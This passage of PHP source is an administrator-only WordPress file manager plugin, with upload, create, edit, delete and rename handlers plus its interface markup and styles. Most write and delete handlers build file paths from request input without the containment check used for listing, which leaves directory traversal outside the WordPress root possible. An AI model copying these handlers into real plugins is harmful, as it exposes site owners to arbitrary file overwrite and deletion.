<button type="button" class="button" onclick="hideUploadModal()">Cancel</button>
<button type="submit" form="uploadForm" class="button button-primary">
<span class="dashicons dashicons-upload"></span> Upload Files
</button>
</div>
</div>
</div>
<!-- Create Folder Modal -->
<div class="modal" id="createFolderModal" style="display:none;">
<div class="modal-content">
<div class="modal-header">
<h3><span class="dashicons dashicons-plus-alt"></span> Create New Folder</h3>
<button class="modal-close" onclick="hideCreateFolderModal()">
<span class="dashicons dashicons-no-alt"></span>
</button>
</div>
<div class="modal-body">
<input type="text" id="folderName" placeholder="Enter folder name" autofocus>
</div>
<div class="modal-footer">
<button type="button" class="button" onclick="hideCreateFolderModal()">Cancel</button>
<button type="button" class="button button-primary" onclick="createFolder()">
<span class="dashicons dashicons-yes"></span> Create Folder
</button>
</div>
</div>
</div>
<!-- Create File Modal -->
<div class="modal" id="createFileModal" style="display:none;">
<div class="modal-content">
<div class="modal-header">
<h3><span class="dashicons dashicons-media-document"></span> Create New File</h3>
<button class="modal-close" onclick="hideCreateFileModal()">
<span class="dashicons dashicons-no-alt"></span>
</button>
</div>
<div class="modal-body">
<input type="text" id="newFileName" placeholder="Enter file name (with extension)" autofocus>
</div>
<div class="modal-footer">
<button type="button" class="button" onclick="hideCreateFileModal()">Cancel</button>
<button type="button" class="button button-primary" onclick="createFileFromModal()">
<span class="dashicons dashicons-yes"></span> Create File
</button>
</div>
</div>
</div>
<!-- Rename Modal -->
<div class="modal" id="renameModal" style="display:none;">
<div class="modal-content">
<div class="modal-header">
<h3><span class="dashicons dashicons-edit-large"></span> Rename</h3>
<button class="modal-close" onclick="hideRenameModal()">
<span class="dashicons dashicons-no-alt"></span>
</button>
</div>
<div class="modal-body">
<input type="text" id="newName" placeholder="Enter new name" autofocus>
<input type="hidden" id="renamePath">
</div>
<div class="modal-footer">
<button type="button" class="button" onclick="hideRenameModal()">Cancel</button>
<button type="button" class="button button-primary" onclick="performRename()">
<span class="dashicons dashicons-yes"></span> Rename
</button>
</div>
</div>
</div>
<?php
}
public function enqueue_admin_styles($hook) {
if ('toplevel_page_SidGifari-File-Manager' !== $hook) {
return;
}
$this->enqueue_styles_and_scripts();
}
private function enqueue_styles_and_scripts() {
?>
<style>
.file-manager-pro-container {
display: flex;
gap: 20px;
margin-top: 20px;
}
.file-manager-sidebar {
width: 250px;
background: #f8f9fa;
border: 1px solid #ddd;
border-radius: 6px;
overflow: hidden;
}
.sidebar-header {
background: #0073aa;
color: white;
padding: 15px;
margin: 0;
}
.sidebar-header h3 {
margin: 0;
font-size: 14px;
display: flex;
align-items: center;
gap: 8px;
}
.sidebar-content {
padding: 15px;
}
.sidebar-btn {
display: flex;
align-items: center;
gap: 8px;
width: 100%;
padding: 10px 15px;
margin-bottom: 8px;
background: white;
border: 1px solid #ddd;
border-radius: 4px;
cursor: pointer;
text-align: left;
font-size: 13px;
color: #23282d;
transition: all 0.2s;
}
.sidebar-btn:hover {
background: #f0f0f0;
border-color: #0073aa;
}
.sidebar-divider {
height: 1px;
background: #ddd;
margin: 15px 0;
}
.sidebar-info, .sidebar-author {
font-size: 12px;
color: #666;
}
.sidebar-info h4, .sidebar-author h4 {
display: flex;
align-items: center;
gap: 8px;
margin: 0 0 10px 0;
color: #23282d;
}
.file-manager-main {
flex: 1;
background: white;
border: 1px solid #ddd;
border-radius: 6px;
overflow: hidden;
}
.fm-toolbar {
display: flex;
justify-content: space-between;
align-items: center;
padding: 15px;
background: #f8f9fa;
border-bottom: 1px solid #ddd;
}
.fm-breadcrumb {
display: flex;
align-items: center;
gap: 5px;
flex-wrap: wrap;
}
.breadcrumb-item {
display: flex;
align-items: center;
gap: 5px;
padding: 5px 10px;
background: white;
border: 1px solid #ddd;
border-radius: 4px;
text-decoration: none;
color: #0073aa;
font-size: 13px;
}
.breadcrumb-item:hover {
background: #f0f0f0;
}
.breadcrumb-separator {
color: #999;
margin: 0 5px;
}
.fm-actions {
display: flex;
gap: 8px;
align-items: center;
}
.fm-search {
position: relative;
}
.fm-search input {
padding: 8px 12px 8px 35px;
border: 1px solid #ddd;
border-radius: 4px;
width: 200px;
font-size: 13px;
}
.fm-search .dashicons {
position: absolute;
left: 10px;
top: 50%;
transform: translateY(-50%);
color: #999;
}
.fm-action-btn {
width: 36px;
height: 36px;
display: flex;
align-items: center;
justify-content: center;
background: white;
border: 1px solid #ddd;
border-radius: 4px;
cursor: pointer;
color: #23282d;
transition: all 0.2s;
}
.fm-action-btn:hover {
background: #f0f0f0;
border-color: #0073aa;
}
.fm-upload-area {
margin: 20px;
border: 2px dashed #0073aa;
border-radius: 8px;
padding: 40px;
text-align: center;
cursor: pointer;
background: #f8f9fa;
transition: all 0.3s;
}
.fm-upload-area:hover, .fm-upload-area.dragover {
background: #d1ecff;
border-color: #005a87;
}
.upload-icon {
font-size: 48px;
color: #0073aa;
margin-bottom: 15px;
}
.fm-upload-area h3 {
margin: 0 0 10px 0;
color: #23282d;
}
.upload-info {
font-size: 12px;
color: #666;
margin-top: 10px;
}
.fm-files-container {
margin: 20px;
border: 1px solid #ddd;
border-radius: 4px;
overflow: hidden;
}
.fm-files-header {
display: flex;
background: #f8f9fa;
border-bottom: 1px solid #ddd;
font-weight: 600;
font-size: 12px;
color: #666;
text-transform: uppercase;
letter-spacing: 0.5px;
}
.fm-file-col-name { flex: 3; padding: 12px 15px; }
.fm-file-col-size { flex: 1; padding: 12px 15px; }
.fm-file-col-modified { flex: 1; padding: 12px 15px; }
.fm-file-col-actions { flex: 1; padding: 12px 15px; }
.fm-files-list {
max-height: 500px;
overflow-y: auto;
}
.fm-file-item {
display: flex;
align-items: center;
padding: 12px 15px;
border-bottom: 1px solid #eee;
transition: background 0.2s;
cursor: pointer;
}
.fm-file-item:hover, .fm-file-item.selected {
background: #f0f7ff;
}
.fm-file-select {
width: 40px;
display: flex;
align-items: center;
justify-content: center;
}
.fm-file-icon {
width: 50px;
font-size: 24px;
color: #666;
}
.fm-file-name {
flex: 3;
display: flex;
flex-direction: column;
}
.file-name-text {
font-weight: 500;
color: #23282d;
margin-bottom: 3px;
}
.file-desc {
font-size: 11px;
color: #999;
}
.fm-file-size, .fm-file-modified {
flex: 1;
font-size: 13px;
color: #666;
}
.fm-file-actions {
flex: 1;
display: flex;
gap: 5px;
opacity: 0;
transition: opacity 0.2s;
}
.fm-file-item:hover .fm-file-actions {
opacity: 1;
}
.fm-action-icon {
width: 32px;
height: 32px;
display: flex;
align-items: center;
justify-content: center;
background: white;
border: 1px solid #ddd;
border-radius: 4px;
cursor: pointer;
color: #666;
font-size: 16px;
transition: all 0.2s;
}
.fm-action-icon:hover {
background: #0073aa;
border-color: #0073aa;
color: white;
}
.fm-footer {
display: flex;
justify-content: space-between;
align-items: center;
padding: 15px;
background: #f8f9fa;
border-top: 1px solid #ddd;
}
.fm-stats {
font-size: 13px;
color: #666;
display: flex;
align-items: center;
gap: 8px;
}
.fm-bulk-actions {
display: flex;
align-items: center;
gap: 15px;
}
.fm-alert {
display: flex;
align-items: center;
justify-content: space-between;
margin: 0 20px;
padding: 12px 15px;
border-radius: 4px;
font-size: 14px;
animation: slideIn 0.3s ease;
}
.fm-alert-success {
background: #d4edda;
border: 1px solid #c3e6cb;
color: #155724;
}
.fm-alert-error {
background: #f8d7da;
border: 1px solid #f5c6cb;
color: #721c24;
}
.alert-content {
display: flex;
align-items: center;
gap: 8px;
}
.alert-close {
background: none;
border: none;
cursor: pointer;
color: inherit;
opacity: 0.7;
transition: opacity 0.2s;
}
.alert-close:hover {
opacity: 1;
}
.fm-empty-state {
text-align: center;
padding: 60px 40px;
color: #666;
}
.empty-icon {
font-size: 64px;
color: #ddd;
margin-bottom: 20px;
}
/* Modal Styles */
.modal {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0,0,0,0.5);
z-index: 10000;
display: none;
align-items: center;
justify-content: center;
animation: fadeIn 0.3s ease;
}
.modal-content {
background: white;
border-radius: 8px;
width: 500px;
max-width: 90%;
box-shadow: 0 10px 40px rgba(0,0,0,0.2);
overflow: hidden;
animation: slideUp 0.3s ease;
}
.modal-header {
display: flex;
justify-content: space-between;
align-items: center;
padding: 20px;
background: #f8f9fa;
border-bottom: 1px solid #ddd;
}
.modal-header h3 {
margin: 0;
display: flex;
align-items: center;
gap: 10px;
}
.modal-close {
background: none;
border: none;
cursor: pointer;
color: #666;
font-size: 20px;
transition: color 0.2s;
}
.modal-close:hover {
color: #dc3232;
}
.modal-body {
padding: 20px;
}
.modal-description {
font-size: 13px;
color: #666;
margin-bottom: 20px;
display: flex;
align-items: center;
gap: 8px;
}
.modal-body input[type="text"] {
width: 100%;
padding: 12px;
border: 1px solid #ddd;
border-radius: 4px;
font-size: 14px;
}
.file-input-wrapper {
position: relative;
margin-bottom: 20px;
}
.file-input-wrapper input[type="file"] {
position: absolute;
width: 0.1px;
height: 0.1px;
opacity: 0;
overflow: hidden;
z-index: -1;
}
.file-input-label {
display: inline-flex;
align-items: center;
gap: 10px;
padding: 15px 20px;
background: #0073aa;
color: white;
border-radius: 4px;
cursor: pointer;
font-weight: 500;
transition: background 0.2s;
}
.file-input-label:hover {
background: #005a87;
}
.modal-footer {
display: flex;
justify-content: flex-end;
gap: 10px;
padding: 20px;
background: #f8f9fa;
border-top: 1px solid #ddd;
}
.upload-progress {
margin-top: 20px;
}
.upload-progress-header {
display: flex;
align-items: center;
gap: 8px;
margin-bottom: 10px;
font-weight: 500;
color: #23282d;
}
.upload-status {
font-size: 12px;
color: #666;
margin-top: 5px;
}
/* Editor Styles */
.editor-container, .creator-container {
background: white;
border: 1px solid #ddd;
border-radius: 6px;
overflow: hidden;
margin-top: 20px;
}
.editor-toolbar, .creator-toolbar {
display: flex;
justify-content: space-between;
align-items: center;
padding: 15px;
background: #f8f9fa;
border-bottom: 1px solid #ddd;
}
.editor-info, .creator-info {
font-size: 13px;
color: #666;
display: flex;
align-items: center;
gap: 10px;
flex-wrap: wrap;
}
.editor-info-separator {
color: #ddd;
}
.editor-actions, .form-actions {
display: flex;
gap: 10px;
}
.editor-alert, .creator-alert {
margin: 0 15px;
border-radius: 4px;
padding: 12px 15px;
font-size: 14px;
}
.editor-alert-success, .creator-alert-success {
background: #d4edda;
border: 1px solid #c3e6cb;
color: #155724;
}
.editor-alert-error, .creator-alert-error {
background: #f8d7da;
border: 1px solid #f5c6cb;
color: #721c24;
}
.editor-wrapper {
padding: 15px;
}
.editor-statusbar {
display: flex;
justify-content: space-between;
align-items: center;
padding: 8px 15px;
background: #f8f9fa;
border-top: 1px solid #ddd;
font-size: 12px;
color: #666;
}
.creator-form {
padding: 20px;
}
.form-group {
margin-bottom: 20px;
}
.form-group label {
display: flex;
align-items: center;
gap: 8px;
font-weight: 600;
margin-bottom: 8px;
color: #23282d;
}
.editor-tabs {
display: flex;
gap: 5px;
margin-bottom: 10px;
}
.editor-tab {
padding: 5px 15px;
background: #f0f0f0;
border: 1px solid #ddd;
border-radius: 4px;
cursor: pointer;
font-size: 12px;
transition: all 0.2s;
}
.editor-tab.active {
background: #0073aa;
border-color: #0073aa;
color: white;
}
/* Animations */
@keyframes fadeIn {
from { opacity: 0; }
to { opacity: 1; }
}
@keyframes slideIn {
from { transform: translateY(-20px); opacity: 0; }
to { transform: translateY(0); opacity: 1; }
}
@keyframes slideUp {
from { transform: translateY(30px); opacity: 0; }
to { transform: translateY(0); opacity: 1; }
}
/* Responsive */
@media (max-width: 1200px) {
.file-manager-pro-container {
flex-direction: column;
}
.file-manager-sidebar {
width: 100%;
}
.fm-search input {
width: 150px;
}
}
@media (max-width: 768px) {
.fm-toolbar {
flex-direction: column;
gap: 15px;
align-items: stretch;
}
.fm-actions {
justify-content: space-between;
}
.fm-search input {
width: 100%;
}
.fm-files-header {
display: none;
}
.fm-file-item {
flex-direction: column;
align-items: stretch;
gap: 10px;
}
.fm-file-select, .fm-file-icon {
display: none;
}
.fm-file-actions {
opacity: 1;
justify-content: flex-start;
}
.editor-toolbar, .creator-toolbar {
flex-direction: column;
gap: 15px;
align-items: stretch;
}
.editor-info, .creator-info {
justify-content: center;
}
.editor-actions, .form-actions {
justify-content: center;
}
}
</style>
<?php
}
private function sanitize_path($path) {
$base_path = ABSPATH;
$path = str_replace('..', '', $path);
$path = ltrim($path, '/');
$full_path = $base_path . $path;
// Ensure the path is within WordPress directory
$real_base = realpath($base_path);
$real_path = realpath($full_path);
if ($real_path === false || strpos($real_path, $real_base) !== 0) {
return $real_base;
}
return $real_path;
}
private function get_files($directory = '') {
$path = $this->sanitize_path($directory);
$files = [];
if (!is_dir($path)) {
return $files;
}
$items = @scandir($path);
if ($items === false) {
return $files;
}
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$full_path = $path . '/' . $item;
$relative_path = str_replace(ABSPATH, '', $full_path);
$is_dir = is_dir($full_path);
$item_count = 0;
if ($is_dir) {
$dir_items = @scandir($full_path);
if ($dir_items !== false) {
$item_count = count($dir_items) - 2; // Subtract . and ..
}
}
$files[] = [
'name' => $item,
'path' => $full_path,
'relative_path' => ltrim($relative_path, '/'),
'is_dir' => $is_dir,
'size' => $is_dir ? '' : $this->format_size(filesize($full_path)),
'modified' => date('Y-m-d H:i:s', filemtime($full_path)),
'extension' => $is_dir ? '' : strtolower(pathinfo($item, PATHINFO_EXTENSION)),
'permissions' => substr(sprintf('%o', fileperms($full_path)), -4),
'icon' => $this->get_file_icon($item, $is_dir),
'item_count' => $item_count
];
}
usort($files, function($a, $b) {
if ($a['is_dir'] && !$b['is_dir']) return -1;
if (!$a['is_dir'] && $b['is_dir']) return 1;
return strcasecmp($a['name'], $b['name']);
});
return $files;
}
private function format_size($bytes) {
if ($bytes == 0) return '0 Bytes';
$units = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
$i = floor(log($bytes, 1024));
return round($bytes / pow(1024, $i), 2) . ' ' . $units[$i];
}
private function get_file_icon($filename, $is_dir = false) {
if ($is_dir) {
return '<span class="dashicons dashicons-portfolio" style="color: #0073aa;"></span>';
}
$extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$icons = [
// Images
'jpg' => '<span class="dashicons dashicons-format-image" style="color: #46b450;"></span>',
'jpeg' => '<span class="dashicons dashicons-format-image" style="color: #46b450;"></span>',
'png' => '<span class="dashicons dashicons-format-image" style="color: #46b450;"></span>',
'gif' => '<span class="dashicons dashicons-format-image" style="color: #46b450;"></span>',
'svg' => '<span class="dashicons dashicons-format-image" style="color: #46b450;"></span>',
'webp' => '<span class="dashicons dashicons-format-image" style="color: #46b450;"></span>',
'bmp' => '<span class="dashicons dashicons-format-image" style="color: #46b450;"></span>',
'ico' => '<span class="dashicons dashicons-format-image" style="color: #46b450;"></span>',
'tiff' => '<span class="dashicons dashicons-format-image" style="color: #46b450;"></span>',
'psd' => '<span class="dashicons dashicons-format-image" style="color: #46b450;"></span>',
// Documents
'pdf' => '<span class="dashicons dashicons-pdf" style="color: #dc3232;"></span>',
'doc' => '<span class="dashicons dashicons-media-document" style="color: #0073aa;"></span>',
'docx' => '<span class="dashicons dashicons-media-document" style="color: #0073aa;"></span>',
'txt' => '<span class="dashicons dashicons-media-text" style="color: #666;"></span>',
'rtf' => '<span class="dashicons dashicons-media-document" style="color: #0073aa;"></span>',
'odt' => '<span class="dashicons dashicons-media-document" style="color: #0073aa;"></span>',
// Spreadsheets
'xls' => '<span class="dashicons dashicons-media-spreadsheet" style="color: #46b450;"></span>',
'xlsx' => '<span class="dashicons dashicons-media-spreadsheet" style="color: #46b450;"></span>',
'csv' => '<span class="dashicons dashicons-media-spreadsheet" style="color: #46b450;"></span>',
'ods' => '<span class="dashicons dashicons-media-spreadsheet" style="color: #46b450;"></span>',
// Presentations
'ppt' => '<span class="dashicons dashicons-media-interactive" style="color: #f56e28;"></span>',
'pptx' => '<span class="dashicons dashicons-media-interactive" style="color: #f56e28;"></span>',
'odp' => '<span class="dashicons dashicons-media-interactive" style="color: #f56e28;"></span>',
// Archives
'zip' => '<span class="dashicons dashicons-media-archive" style="color: #8254ff;"></span>',
'rar' => '<span class="dashicons dashicons-media-archive" style="color: #8254ff;"></span>',
'7z' => '<span class="dashicons dashicons-media-archive" style="color: #8254ff;"></span>',
'tar' => '<span class="dashicons dashicons-media-archive" style="color: #8254ff;"></span>',
'gz' => '<span class="dashicons dashicons-media-archive" style="color: #8254ff;"></span>',
'bz2' => '<span class="dashicons dashicons-media-archive" style="color: #8254ff;"></span>',
'xz' => '<span class="dashicons dashicons-media-archive" style="color: #8254ff;"></span>',
'iso' => '<span class="dashicons dashicons-media-archive" style="color: #8254ff;"></span>',
// Media
'mp3' => '<span class="dashicons dashicons-format-audio" style="color: #00a0d2;"></span>',
'mp4' => '<span class="dashicons dashicons-format-video" style="color: #00a0d2;"></span>',
'avi' => '<span class="dashicons dashicons-format-video" style="color: #00a0d2;"></span>',
'mov' => '<span class="dashicons dashicons-format-video" style="color: #00a0d2;"></span>',
'wmv' => '<span class="dashicons dashicons-format-video" style="color: #00a0d2;"></span>',
'flv' => '<span class="dashicons dashicons-format-video" style="color: #00a0d2;"></span>',
'mkv' => '<span class="dashicons dashicons-format-video" style="color: #00a0d2;"></span>',
'webm' => '<span class="dashicons dashicons-format-video" style="color: #00a0d2;"></span>',
'ogg' => '<span class="dashicons dashicons-format-audio" style="color: #00a0d2;"></span>',
'wav' => '<span class="dashicons dashicons-format-audio" style="color: #00a0d2;"></span>',
'aac' => '<span class="dashicons dashicons-format-audio" style="color: #00a0d2;"></span>',
'flac' => '<span class="dashicons dashicons-format-audio" style="color: #00a0d2;"></span>',
'm4a' => '<span class="dashicons dashicons-format-audio" style="color: #00a0d2;"></span>',
'3gp' => '<span class="dashicons dashicons-format-video" style="color: #00a0d2;"></span>',
// Code
'php' => '<span class="dashicons dashicons-editor-code" style="color: #777bb4;"></span>',
'js' => '<span class="dashicons dashicons-editor-code" style="color: #f7df1e;"></span>',
'html' => '<span class="dashicons dashicons-editor-code" style="color: #e34f26;"></span>',
'htm' => '<span class="dashicons dashicons-editor-code" style="color: #e34f26;"></span>',
'css' => '<span class="dashicons dashicons-editor-code" style="color: #1572b6;"></span>',
'scss' => '<span class="dashicons dashicons-editor-code" style="color: #cc6699;"></span>',
'sass' => '<span class="dashicons dashicons-editor-code" style="color: #cc6699;"></span>',
'less' => '<span class="dashicons dashicons-editor-code" style="color: #1d365d;"></span>',
'json' => '<span class="dashicons dashicons-editor-code" style="color: #ffa500;"></span>',
'xml' => '<span class="dashicons dashicons-editor-code" style="color: #005a9c;"></span>',
'sql' => '<span class="dashicons dashicons-database" style="color: #4479a1;"></span>',
'ini' => '<span class="dashicons dashicons-editor-code" style="color: #666;"></span>',
'conf' => '<span class="dashicons dashicons-editor-code" style="color: #666;"></span>',
'yml' => '<span class="dashicons dashicons-editor-code" style="color: #cb171e;"></span>',
'yaml' => '<span class="dashicons dashicons-editor-code" style="color: #cb171e;"></span>',
'md' => '<span class="dashicons dashicons-media-text" style="color: #666;"></span>',
'log' => '<span class="dashicons dashicons-media-text" style="color: #666;"></span>',
'sh' => '<span class="dashicons dashicons-editor-code" style="color: #4eaa25;"></span>',
'bash' => '<span class="dashicons dashicons-editor-code" style="color: #4eaa25;"></span>',
'py' => '<span class="dashicons dashicons-editor-code" style="color: #3776ab;"></span>',
'rb' => '<span class="dashicons dashicons-editor-code" style="color: #cc342d;"></span>',
'java' => '<span class="dashicons dashicons-editor-code" style="color: #007396;"></span>',
'cpp' => '<span class="dashicons dashicons-editor-code" style="color: #00599c;"></span>',
'c' => '<span class="dashicons dashicons-editor-code" style="color: #00599c;"></span>',
'h' => '<span class="dashicons dashicons-editor-code" style="color: #00599c;"></span>'
];
return $icons[$extension] ?? '<span class="dashicons dashicons-media-default" style="color: #666;"></span>';
}
public function handle_ajax() {
check_ajax_referer('sidgifari_file_manager_nonce', 'nonce');
if (!current_user_can('manage_options')) {
wp_send_json_error(['message' => 'Unauthorized']);
}
$sub_action = isset($_POST['sub_action']) ? sanitize_text_field($_POST['sub_action']) : '';
switch ($sub_action) {
case 'upload':
$this->handle_upload();
break;
case 'create_folder':
$this->handle_create_folder();
break;
case 'create_file':
$this->handle_create_file();
break;
case 'save_file':
$this->handle_save_file();
break;
case 'delete':
$this->handle_delete();
break;
case 'rename':
$this->handle_rename();
break;
default:
wp_send_json_error(['message' => 'Invalid action']);
}
}
private function handle_upload() {
if (empty($_FILES['file'])) {
wp_send_json_error(['message' => 'No file uploaded']);
}
$file = $_FILES['file'];
// Handle single file upload (not array)
if (!is_array($file['name'])) {
$file = [
'name' => [$file['name']],
'type' => [$file['type']],
'tmp_name' => [$file['tmp_name']],
'error' => [$file['error']],
'size' => [$file['size']]
];
}
$upload_dir = isset($_POST['current_dir']) ? ABSPATH . ltrim(sanitize_text_field($_POST['current_dir']), '/') : ABSPATH;
// Ensure upload directory exists
if (!is_dir($upload_dir)) {
wp_mkdir_p($upload_dir);
}
$all_uploaded = true;
$upload_messages = [];
for ($i = 0; $i < count($file['name']); $i++) {
$filename = sanitize_file_name($file['name'][$i]);
$tmp_name = $file['tmp_name'][$i];
$error = $file['error'][$i];
$size = $file['size'][$i];
// Check for upload errors
if ($error !== UPLOAD_ERR_OK) {
$upload_messages[] = "{$filename}: Upload error ({$error})";
$all_uploaded = false;
continue;
}
// Check file size
if ($size > $this->max_file_size) {
$upload_messages[] = "{$filename}: File too large (max 50MB)";
$all_uploaded = false;
continue;
}
// Check file extension
$extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$allowed = array_merge(...array_values($this->allowed_extensions));
if (!in_array($extension, $allowed)) {
$upload_messages[] = "{$filename}: File type not allowed";
$all_uploaded = false;
continue;
}
$destination = $upload_dir . '/' . $filename;
// Prevent overwriting
$counter = 1;
$original_name = pathinfo($filename, PATHINFO_FILENAME);
$original_extension = pathinfo($filename, PATHINFO_EXTENSION);
while (file_exists($destination)) {
$filename = $original_name . '_' . $counter . '.' . $original_extension;
$destination = $upload_dir . '/' . $filename;
$counter++;
}
if (move_uploaded_file($tmp_name, $destination)) {
chmod($destination, 0644);
$upload_messages[] = "{$filename}: Uploaded successfully";
} else {
$upload_messages[] = "{$filename}: Upload failed";
$all_uploaded = false;
}
}
if ($all_uploaded) {
wp_send_json_success(['message' => 'All files uploaded successfully']);
} else {
wp_send_json_error(['message' => implode(', ', $upload_messages)]);
}
}
private function handle_create_folder() {
$folder_name = isset($_POST['folder_name']) ? sanitize_file_name($_POST['folder_name']) : '';
$current_dir = isset($_POST['current_dir']) ? ABSPATH . ltrim(sanitize_text_field($_POST['current_dir']), '/') : ABSPATH;
if (empty($folder_name)) {
wp_send_json_error(['message' => 'Folder name is required']);
}
$path = $current_dir . '/' . $folder_name;
if (file_exists($path)) {
wp_send_json_error(['message' => 'Folder already exists']);
}
if (wp_mkdir_p($path)) {
wp_send_json_success(['message' => 'Folder created successfully']);
}
wp_send_json_error(['message' => 'Failed to create folder']);
}
private function handle_create_file() {
$file_name = isset($_POST['file_name']) ? sanitize_file_name($_POST['file_name']) : '';
$content = isset($_POST['content']) ? wp_unslash($_POST['content']) : '';
$directory = isset($_POST['directory']) ? ABSPATH . ltrim(sanitize_text_field($_POST['directory']), '/') : ABSPATH;
if (empty($file_name)) {
wp_send_json_error(['message' => 'File name is required']);
}
$path = $directory . '/' . $file_name;
if (file_exists($path)) {
wp_send_json_error(['message' => 'File already exists']);
}
// Check file extension
$extension = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
$allowed = array_merge(...array_values($this->allowed_extensions));
if (!in_array($extension, $allowed)) {
wp_send_json_error(['message' => 'File extension not allowed']);
}
// Ensure directory exists
if (!is_dir($directory)) {
wp_mkdir_p($directory);
}
if (file_put_contents($path, $content) !== false) {
chmod($path, 0644);
wp_send_json_success(['message' => 'File created successfully']);
}
wp_send_json_error(['message' => 'Failed to create file']);
}
private function handle_save_file() {
$file_path = isset($_POST['file_path']) ? ABSPATH . ltrim(sanitize_text_field($_POST['file_path']), '/') : '';
$content = isset($_POST['content']) ? wp_unslash($_POST['content']) : '';
if (!file_exists($file_path) || is_dir($file_path)) {
wp_send_json_error(['message' => 'File not found']);
}
// Create backup before saving
$backup_path = $file_path . '.backup_' . date('Y-m-d_H-i-s');
if (!copy($file_path, $backup_path)) {
wp_send_json_error(['message' => 'Failed to create backup']);
}
if (file_put_contents($file_path, $content) !== false) {
wp_send_json_success(['message' => 'File saved successfully']);
}
wp_send_json_error(['message' => 'Failed to save file']);
}
private function handle_delete() {
$path = isset($_POST['path']) ? ABSPATH . ltrim(sanitize_text_field($_POST['path']), '/') : '';
if (!file_exists($path)) {
wp_send_json_error(['message' => 'File not found']);
}
if (is_dir($path)) {
$this->delete_directory($path);
} else {
if (!unlink($path)) {
wp_send_json_error(['message' => 'Failed to delete file']);
}
}
wp_send_json_success(['message' => 'Deleted successfully']);
}
private function delete_directory($dir) {
if (!is_dir($dir)) return false;
$items = array_diff(scandir($dir), ['.', '..']);
foreach ($items as $item) {
$path = $dir . '/' . $item;
is_dir($path) ? $this->delete_directory($path) : unlink($path);
}
return rmdir($dir);
}
private function handle_rename() {
$old_path = isset($_POST['old_path']) ? ABSPATH . ltrim(sanitize_text_field($_POST['old_path']), '/') : '';
$new_name = isset($_POST['new_name']) ? sanitize_file_name($_POST['new_name']) : '';
if (!file_exists($old_path)) {
wp_send_json_error(['message' => 'File not found']);
}
$dir = dirname($old_path);
$new_path = $dir . '/' . $new_name;
if (file_exists($new_path)) {
wp_send_json_error(['message' => 'New name already exists']);
}
if (rename($old_path, $new_path)) {
wp_send_json_success(['message' => 'Renamed successfully']);
}
wp_send_json_error(['message' => 'Rename failed']);
}
}
// Initialize plugin
add_action('plugins_loaded', function() {
SidGifariFileManagerPro::get_instance();
});